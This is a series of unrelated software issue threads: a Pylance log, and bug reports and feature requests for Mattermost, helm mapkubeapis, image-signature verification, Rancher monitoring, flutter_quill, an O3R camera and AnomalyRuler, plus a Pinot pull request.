2023-07-28 10:38:30.858 [info] [Info  - 10:38:30 AM] (1531026) Background analysis(1) started
2023-07-28 10:38:30.864 [info] (1531026) Background analysis message: setConfigOptions
2023-07-28 10:38:30.865 [info] (1531026) Background analysis message: setImportResolver
2023-07-28 10:38:30.866 [info] (1531026) Background analysis message: ensurePartialStubPackages
2023-07-28 10:38:30.965 [info] (1531026) Background analysis message: setConfigOptions
2023-07-28 10:38:30.971 [info] (1531026) Background analysis message: setTrackedFiles
2023-07-28 10:38:30.990 [info] (1531026) Background analysis message: markAllFilesDirty
2023-07-28 10:38:30.991 [info] (1531026) Background analysis message: setFileOpened
2023-07-28 10:38:30.991 [info] (1531026) Background analysis message: analyze
2023-07-28 10:38:31.049 [info] (1531026) [BG(1)] analyzing: /home/fynnsu/projects/tmp/empty/test.py ...
2023-07-28 10:38:31.049 [info] (1531026) [BG(1)]   parsing: /home/fynnsu/projects/tmp/empty/test.py (65ms)
2023-07-28 10:38:31.076 [info] [Info  - 10:38:31 AM] (1531026) Indexer background runner(2) root directory: /home/fynnsu/.vscode-server/extensions/ms-python.vscode-pylance-2023.7.40/dist (index)
2023-07-28 10:38:31.076 [info] [Info  - 10:38:31 AM] (1531026) Indexing(2) started
2023-07-28 10:38:31.195 [info] (1531026) [IDX(2)] scan packages /home/fynnsu/projects/tmp/empty ...
2023-07-28 10:38:31.195 [info] (1531026) [IDX(2)]   read stdlib indices (108ms)
2023-07-28 10:38:31.240 [info] (1531026) [BG(1)]   parsing: /home/fynnsu/.vscode-server/extensions/ms-python.vscode-pylance-2023.7.40/dist/typeshed-fallback/stdlib/builtins.pyi [fs read 3ms] (191ms)
2023-07-28 10:38:31.306 [info] (1531026) [BG(1)]   binding: /home/fynnsu/.vscode-server/extensions/ms-python.vscode-pylance-2023.7.40/dist/typeshed-fallback/stdlib/builtins.pyi (63ms)
2023-07-28 10:38:31.306 [info] (1531026) [BG(1)]   binding: /home/fynnsu/projects/tmp/empty/test.py (0ms)
2023-07-28 10:38:31.375 [info] (1531026) [BG(1)]   checking: /home/fynnsu/projects/tmp/empty/test.py ...
2023-07-28 10:38:31.375 [info] (1531026) [BG(1)]     parsing: /home/fynnsu/.vscode-server/extensions/ms-python.vscode-pylance-2023.7.40/dist/typeshed-fallback/stdlib/typing.pyi [fs read 2ms] (54ms)
2023-07-28 10:38:31.394 [info] (1531026) [BG(1)]     binding: /home/fynnsu/.vscode-server/extensions/ms-python.vscode-pylance-2023.7.40/dist/typeshed-fallback/stdlib/typing.pyi (18ms)
2023-07-28 10:38:31.409 [info] (1531026) [BG(1)]     parsing: /home/fynnsu/.vscode-server/extensions/ms-python.vscode-pylance-2023.7.40/dist/typeshed-fallback/stdlib/typing_extensions.pyi [fs read 1ms] (12ms)
2023-07-28 10:38:31.416 [info] (1531026) [BG(1)]     binding: /home/fynnsu/.vscode-server/extensions/ms-python.vscode-pylance-2023.7.40/dist/typeshed-fallback/stdlib/typing_extensions.pyi (7ms)
2023-07-28 10:38:31.440 [info] (1531026) [BG(1)]     parsing: /home/fynnsu/.vscode-server/extensions/ms-python.vscode-pylance-2023.7.40/dist/typeshed-fallback/stdlib/_typeshed/__init__.pyi [fs read 0ms] (5ms)
2023-07-28 10:38:31.448 [info] (1531026) [BG(1)]     binding: /home/fynnsu/.vscode-server/extensions/ms-python.vscode-pylance-2023.7.40/dist/typeshed-fallback/stdlib/_typeshed/__init__.pyi (7ms)
2023-07-28 10:38:31.459 [info] (1531026) [BG(1)]     parsing: /home/fynnsu/.vscode-server/extensions/ms-python.vscode-pylance-2023.7.40/dist/typeshed-fallback/stdlib/abc.pyi [fs read 0ms] (2ms)
2023-07-28 10:38:31.460 [info] (1531026) [BG(1)]     binding: /home/fynnsu/.vscode-server/extensions/ms-python.vscode-pylance-2023.7.40/dist/typeshed-fallback/stdlib/abc.pyi (1ms)
2023-07-28 10:38:31.501 [info] (1531026) [BG(1)]     parsing: /home/fynnsu/.vscode-server/extensions/ms-python.vscode-pylance-2023.7.40/dist/typeshed-fallback/stdlib/collections/__init__.pyi [fs read 0ms] (38ms)
2023-07-28 10:38:31.505 [info] (1531026) [BG(1)]     binding: /home/fynnsu/.vscode-server/extensions/ms-python.vscode-pylance-2023.7.40/dist/typeshed-fallback/stdlib/collections/__init__.pyi ...
2023-07-28 10:38:31.506 [info] (1531026) [BG(1)]       parsing: /home/fynnsu/.vscode-server/extensions/ms-python.vscode-pylance-2023.7.40/dist/typeshed-fallback/stdlib/_collections_abc.pyi [fs read 0ms] (4ms)
2023-07-28 10:38:31.507 [info] (1531026) [BG(1)]       binding: /home/fynnsu/.vscode-server/extensions/ms-python.vscode-pylance-2023.7.40/dist/typeshed-fallback/stdlib/_collections_abc.pyi (1ms)
2023-07-28 10:38:31.521 [info] (1531026) [BG(1)]     binding: /home/fynnsu/.vscode-server/extensions/ms-python.vscode-pylance-2023.7.40/dist/typeshed-fallback/stdlib/collections/__init__.pyi (20ms)
2023-07-28 10:38:31.540 [info] (1531026) [BG(1)]     parsing: /home/fynnsu/.vscode-server/extensions/ms-python.vscode-pylance-2023.7.40/dist/typeshed-fallback/stdlib/collections/abc.pyi [fs read 0ms] (3ms)
2023-07-28 10:38:31.541 [info] (1531026) [BG(1)]     binding: /home/fynnsu/.vscode-server/extensions/ms-python.vscode-pylance-2023.7.40/dist/typeshed-fallback/stdlib/collections/abc.pyi (0ms)
2023-07-28 10:38:31.606 [info] (1531026) [IDX(2)] scan packages /home/fynnsu/projects/tmp/empty (512ms)
2023-07-28 10:38:31.606 [info] [Info  - 10:38:31 AM] (1531026) scanned(2) 15 files over 1 exec env
2023-07-28 10:38:31.694 [info] (1531026) [IDX(2)] index packages /home/fynnsu/projects/tmp/empty ...
2023-07-28 10:38:31.694 [info] (1531026) [IDX(2)]   index execution environment /home/fynnsu/projects/tmp/empty ...
2023-07-28 10:38:31.694 [info] (1531026) [IDX(2)]     indexing: /home/fynnsu/miniconda3/envs/empty/lib/python3.9/concurrent/__init__.py [skipped: no '__all__' defined] (0ms)
2023-07-28 10:38:31.694 [info] (1531026) [IDX(2)]     indexing: /home/fynnsu/miniconda3/envs/empty/lib/python3.9/distutils/__init__.py [skipped: no '__all__' defined] (1ms)
2023-07-28 10:38:31.695 [info] (1531026) [IDX(2)]     indexing: /home/fynnsu/miniconda3/envs/empty/lib/python3.9/idlelib/__init__.py [skipped: no '__all__' defined] (0ms)
2023-07-28 10:38:31.695 [info] (1531026) [IDX(2)]     indexing: /home/fynnsu/miniconda3/envs/empty/lib/python3.9/lib2to3/__init__.py [skipped: no '__all__' defined] (0ms)
2023-07-28 10:38:31.695 [info] (1531026) [IDX(2)]     indexing: /home/fynnsu/miniconda3/envs/empty/lib/python3.9/pydoc_data/__init__.py [skipped: no '__all__' defined] (0ms)
2023-07-28 10:38:31.696 [info] (1531026) [IDX(2)]     indexing: /home/fynnsu/miniconda3/envs/empty/lib/python3.9/test/__init__.py [skipped: no '__all__' defined] (0ms)
2023-07-28 10:38:31.696 [info] (1531026) [IDX(2)]     indexing: /home/fynnsu/miniconda3/envs/empty/lib/python3.9/turtledemo/__init__.py [skipped: no '__all__' defined] (0ms)
2023-07-28 10:38:31.696 [info] (1531026) [IDX(2)]     indexing: /home/fynnsu/miniconda3/envs/empty/lib/python3.9/urllib/__init__.py [skipped: no '__all__' defined] (1ms)
2023-07-28 10:38:31.696 [info] (1531026) [IDX(2)]     indexing: /home/fynnsu/miniconda3/envs/empty/lib/python3.9/wsgiref/__init__.py [skipped: no '__all__' defined] (0ms)
2023-07-28 10:38:31.771 [info] (1531026) [IDX(2)]     indexing: /home/fynnsu/miniconda3/envs/empty/lib/python3.9/xml/__init__.py ...
2023-07-28 10:38:31.771 [info] (1531026) [IDX(2)]       parsing: /home/fynnsu/miniconda3/envs/empty/lib/python3.9/xml/__init__.py [fs read 0ms] (71ms)
2023-07-28 10:38:31.889 [info] (1531026) [IDX(2)]       parsing: /home/fynnsu/.vscode-server/extensions/ms-python.vscode-pylance-2023.7.40/dist/typeshed-fallback/stdlib/builtins.pyi [fs read 2ms] (115ms)
2023-07-28 10:38:31.911 [info] (1531026) [IDX(2)]       binding: /home/fynnsu/.vscode-server/extensions/ms-python.vscode-pylance-2023.7.40/dist/typeshed-fallback/stdlib/builtins.pyi (21ms)
2023-07-28 10:38:31.911 [info] (1531026) [IDX(2)]       binding: /home/fynnsu/miniconda3/envs/empty/lib/python3.9/xml/__init__.py (0ms)
2023-07-28 10:38:31.912 [info] (1531026) [IDX(2)]     indexing: /home/fynnsu/miniconda3/envs/empty/lib/python3.9/xml/__init__.py [found 0] (216ms)
2023-07-28 10:38:31.912 [info] (1531026) [IDX(2)]     indexing: /home/fynnsu/miniconda3/envs/empty/lib/python3.9/xmlrpc/__init__.py [skipped: no '__all__' defined] (0ms)
2023-07-28 10:38:31.919 [info] (1531026) [IDX(2)]     indexing: /home/fynnsu/miniconda3/envs/empty/lib/python3.9/site-packages/pip/__init__.py ...
2023-07-28 10:38:31.919 [info] (1531026) [IDX(2)]       parsing: /home/fynnsu/miniconda3/envs/empty/lib/python3.9/site-packages/pip/__init__.py [fs read 2ms] (3ms)
2023-07-28 10:38:31.920 [info] (1531026) [IDX(2)]       binding: /home/fynnsu/miniconda3/envs/empty/lib/python3.9/site-packages/pip/__init__.py (0ms)
2023-07-28 10:38:31.920 [info] (1531026) [IDX(2)]     indexing: /home/fynnsu/miniconda3/envs/empty/lib/python3.9/site-packages/pip/__init__.py [found 2] (8ms)
2023-07-28 10:38:31.921 [info] (1531026) [IDX(2)]     indexing: /home/fynnsu/miniconda3/envs/empty/lib/python3.9/site-packages/wheel/__init__.py [skipped: no '__all__' defined] (0ms)
2023-07-28 10:38:31.921 [info] (1531026) [IDX(2)]   index execution environment /home/fynnsu/projects/tmp/empty [found 98 in 4 files] (234ms)
2023-07-28 10:38:31.921 [info] (1531026) [IDX(2)] index packages /home/fynnsu/projects/tmp/empty [found 98 in 1 exec envs] (237ms)
2023-07-28 10:38:31.921 [info] [Info  - 10:38:31 AM] (1531026) indexed(2) 4 files over 1 exec env
2023-07-28 10:38:31.924 [info] [Info  - 10:38:31 AM] (1531026) Indexing finished(2).

This is a core type checker issue. Could someone from the pylance team please transfer it to pyright?


iOS Mattermost app should be able to connect to more than one team / server

Right now the mattermost iOS app can connect to a single team / server. But for some use case (bigger Enterprise, several different servers) the iOS should support this as well.

Also, it seems that we cant switch between team s while in the app using GitLab SSO

You can upvote this feature here: https://mattermost.uservoice.com/forums/306457-general/suggestions/10975938-ios-app-should-allow-multiple-connections


issues executing with "oidc" auth provider

Auth pro
2023/12/04 16:04:10 Release 'wp3-ms-dep' will be checked for deprecated or removed Kubernetes APIs and will be updated if necessary to supported API versions.
2023/12/04 16:04:10 Get release 'wp3-ms-dep' latest version.
Error: failed to get release 'wp3-ms-dep' latest version: query: failed to query with labels: no Auth Provider found for name "oidc"
Error: plugin "mapkubeapis" exited with erro

duplicate of https://github.com/helm/helm-mapkubeapis/issues/113
Unmerged fix here: https://github.com/helm/helm-mapkubeapis/pull/115

Closing as duplicate of #113


Vendor signature also covers owner signed data

If I'm reading the image verification code correctly, the vendor signature also covers the OwnerSignedData. I think this is problematic because that means the owner can't change the data independently without getting it signed by the vendor. Am I missing something?
cc @bluegate010

Indeed, owner_data is within ImageHeader, which is hashed to produce the digest verified against the vendor signature.
Suggest we have the vendor signature only cover the ImageHeader fields up to but not including owner_data.
As an aside, we should probably expand OwnerSignedData with some padding bytes, for future-proofing.


Monitoring V1/V2 targets rancher-monitoring-kubelet/exporter-kubelets-cluster-monitoring are down on OL 8.3

What kind of request is this (question/bug/enhancement/feature request):
bug
Steps to reproduce (least amount of steps as possible):

deploy rancher v2.5.6-rc4
downstream cluster running Oracle Linux 8.3 and docker v20.10.3
deploy monitoring (v1 or v2)
wait for deployment to complete

Result:

rancher-monitoring-kubelet (monitoring v1) or exporter-kubelets-cluster-monitoring (monitoring v2) are down in prometheus

Other details that may be helpful:
Environment information

Rancher version (rancher/rancher/rancher/server image tag or shown bottom left in the UI): v2.5.6-rc4
Installation option (single install/HA): single install

Cluster information

Cluster type (Hosted/Infrastructure Provider/Custom/Imported): imported

Machine type (cloud/VM/metal) and specifications (CPU/memory): 4vCPU each, 5 node cluster. also tested on 2vcpu cluster with 5 nodes

Kubernetes version (use kubectl version):

Docker version (use docker version): 20.10.3

from Arvind:
you’re using k8s 1.20, and https://github.com/kubernetes/kubernetes/pull/94272 indicates that the kubelet metrics are now coming from a different port (. . .) we need to make sure it only goes out to clusters using k8s 1.20+

@aiyengar2 Is this something we can change for the user in the chart templates? Where if it's a certain k8s version, we change the ports?

@deniseschannon yes, we also currently do this for dashboards here https://github.com/rancher/charts/blob/5331c96a42a9a862afeaed440661a6d69a3dae40/charts/rancher-monitoring/rancher-monitoring/9.4.203-rc01/templates/grafana/dashboards/k8s-cluster-rsrc-use.yaml#L6

Actually, I don't think any backend changes are necessary. I looked into the chart and just realized that we expose this field  here so it can be modified in the given values.yaml view of our already released chart.
@slickwarren can you test out the following workaround? If it works, I'll create a UI ticket to expose this field and automatically set it when the cluster version is detected to be k8s 1.20 (although users will have to manually change this on a helm upgrade).
Workaround
Set kubelet.serviceMonitor.resourcePath=/metrics/resource

After talking to @vincent99, I decided to make the necessary changes on the backend to support this use case instead of relying on the UI to set these values.
@slickwarren I'm leaving this issue to test since I want to test the workaround mentioned in https://github.com/rancher/rancher/issues/31167#issuecomment-777692557 for Monitoring V2. Monitoring V1 has no workaround until we get the changes merged in.
Once they are merged in, you should be able to test the changes on Monitoring V2 version 9.4.203-rc02 (pending https://github.com/rancher/rancher/issues/31304) and Monitoring V1 version 0.2.1 (pending https://github.com/rancher/rancher/issues/31305).
@luthermonson @superseb I also created and closed two issues tagged for this release to 1) call out the fact that this issue is related to k8s 1.20 clusters in general, not jut OL 8.3 and 2) make it easier for users to find out the workaround / chart upgrade necessary if they encounter these issues in any k8s 1.20 cluster.
We need to make sure the release notes include the comments mentioned on those tickets so that k8s 1.20 users can know what version of monitoring they need to upgrade to in order to have a proper setup.

I was able to confirm the workaround for monitoring v2 :

@slickwarren as mentioned above, now that the PRs are merged we need to test the changes on k8s 1.20 clusters with Monitoring V2 version 9.4.203-rc02 and Monitoring V1 version 0.2.1

on 2.5 head (96dc206633a286c5fbae8d5240fa9354a88b823b) and master-head (f69f96b) using monitoring v2 version 9.4.203-rc02, all targets are now up and all other p0 tests passed 🎉
however on the same rancher versions for 2.5-head and master-head, monitoring v1 version 0.2.1 never fully initiates and is stuck in Monitoring API is not ready on rancher UI.  looking at the server logs, there are some errors reported:
[ERROR] error syncing '<cluster_id>': handler cluster-monitoring-handler: failed to get cattle-prometheus/prometheus-operated endpoints: endpoints "cattle-prometheus/prometheus-operated" not found, requeuing
[ERROR] error syncing '<project>/cluster-monitoring': handler helm-controller: wait helm template failed. Error: render error in "rancher-monitoring/charts/exporter-kubelets/templates/servicemonitor.yaml": template: rancher-monitoring/charts/exporter-kubelets/templates/servicemonitor.yaml:90:13: executing "rancher-monitoring/charts/exporter-kubelets/templates/servicemonitor.yaml" at <include "kubelet.serviceMonitor.resourcePath" .>: error calling include: template: rancher-monitoring/charts/exporter-kubelets/templates/_helpers.tpl:3:14: executing "kubelet.serviceMonitor.resourcePath" at <.Values.kubelet.serviceMonitor.resourcePath>: nil pointer evaluating interface {}.serviceMonitor
: exit status 1, requeuing

master-2bccb50ce1c6d45c59fea8e5d114b18f3e89a80d-head and v2.5-96dc206633a286c5fbae8d5240fa9354a88b823b-head
now have all targets up using monitoring v1 v0.2.1, and all other p0 tests passed


Error: The non-abstract class 'RawEditorState' is missing implementations for these members

when I run the app shows me these errors, it's was working before I updated the flutter from 2.2 to 3.0

../flutter/.pub-cache/hosted/pub.dartlang.org/flutter_quill-4.1.9/lib/src/widgets/raw_editor.dart:233:7: Error: The non-abstract class 'RawEditorState' is missing implementations for these members:
 - TextInputClient.insertTextPlaceholder
 - TextInputClient.removeTextPlaceholder
Try to either
 - provide an implementation,
 - inherit an implementation from a superclass or mixin,
 - mark the class as abstract, or
 - provide a 'noSuchMethod' implementation.
FAILURE: Build failed with an exception.

You can use my fork as workaround for now:
flutter_quill:
git:
url: https://github.com/myfknoll/flutter-quill.git


Is the resolution on the O3R camera fixed?

Hi. Following is the configuration of an O3R camera with its 3D wire connected to port2 on the VPU. I see the resolution is set to 172x224. I understand that this is the maximum resolution for the camera. My question is, can we change the resolution to a lower setting? Or is it fixed to the max resolution and thus unchangeable through json manipulation?
"port2": {             "acquisition": {                 "exposureLong": 5000,                 "exposureShort": 400,                 "framerate": 10.0,                 "offset": 0.0,                 "version": {                     "major": 0,                     "minor": 0,                     "patch": 0                 }             },             "data": {                 "algoDebugConfig": {},                 "availablePCICOutput": [],                 "pcicTCPPort": 50012             },             "info": {                 "device": "3101",                 "deviceTreeBinaryBlobOverlay": "001-irs2381c.dtbo",                 "features": {                     "fov": {                         "horizontal": 105,                         "vertical": 78                     },                     "resolution": {                         "height": 172,                         "width": 224                     },                     "type": "3D"                 },                 "name": "",                 "partNumber": "M03969",                 "productionState": "AA",                 "sensor": "IRS2381C",                 "sensorID": "IRS2381C_105x78_4x2W_110x90_C7",                 "serialNumber": "000000000495",                 "vendor": "0001"             },             "mode": "standard_range4m",             "processing": {                 "diParam": {                     "anfFilterSizeDiv2": 2,                     "enableDynamicSymmetry": true,                     "enableStraylight": true,                     "enableTemporalFilter": true,                     "excessiveCorrectionThreshAmp": 0.3,                     "excessiveCorrectionThreshDist": 0.08,                     "maxDistNoise": 0.02,                     "maxSymmetry": 0.4,                     "medianSizeDiv2": 0,                     "minAmplitude": 20.0,                     "minReflectivity": 0.0,                     "mixedPixelFilterMode": 1,                     "mixedPixelThresholdRad": 0.15                 },                 "extrinsicHeadToUser": {                     "rotX": 0.0,                     "rotY": 0.0,                     "rotZ": 0.0,                     "transX": 0.0,                     "transY": 0.0,                     "transZ": 0.0                 },                 "version": {                     "major": 0,                     "minor": 0,                     "patch": 0                 }             },             "state": "CONF"         },

The resolution is fixed, as of right now we do not provides utilities for lowering the resolution.

Thank you for the clarification.

Hey @mehranq , you can run a docker container on the VPu and downsample dat data on the VPU for your application.


Add numEntriesScannedInFilter into response

Add ExecutionStatistics into Operator to track the execution statistics

Inside ExecutionStatistics, track numDocsScanned, numEntriesScannedInFilter, numEntriesScannedPostFilter and numTotalRawDocs.
Fetch numEntriesScannedInFilter from ScanBasedDocIdIterator.
Use numDocsScanned and numProjectionColumns to calculate numEntriesScannedPostFilter
Remove some unused classes
Deprecate some classes only used in tests for future clean up

Current coverage is 64.43% (diff: 89.85%)

Merging #771 into master will decrease coverage by 0.02%

@@             master       #771   diff @@
==========================================
  Files           737        736     -1
  Lines         34581      34567    -14
  Methods           0          0
  Messages          0          0
  Branches       5325       5317     -8
==========================================
- Hits          22292      22273    -19
- Misses        10728      10736     +8
+ Partials       1561       1558     -3

Powered by Codecov. Last update 670d77d...07063ea

Addressed the comments. For the clean up, will file another PR as its not that travail.


Problem during reasoning

Hi,
I executed the step 4 as follows:
python main.py --data='SHTech' --deduct

And I'm getting this error:
Traceback (most recent call last):
  File "/home/angel/desarrollo/AnomalyRuler/main.py", line 103, in <module>
    main()
  File "/home/angel/desarrollo/AnomalyRuler/main.py", line 64, in main
    preds = mixtral_double_deduct(data_name,f'{data_name}/modified_test_frame_description/{name}.txt',
  File "/home/angel/desarrollo/AnomalyRuler/llm.py", line 245, in mixtral_double_deduct
    ini_pred, _, anomaly_keyword = cluster_keyword(obj)
TypeError: cluster_keyword() missing 1 required positional argument: 'anomaly_from_rule'

How should I define anomaly_from_rule? apparently you missed the argument when call the cluster_keyword() function.

Hello, please use the latest version and this issue has been solved. Thank you!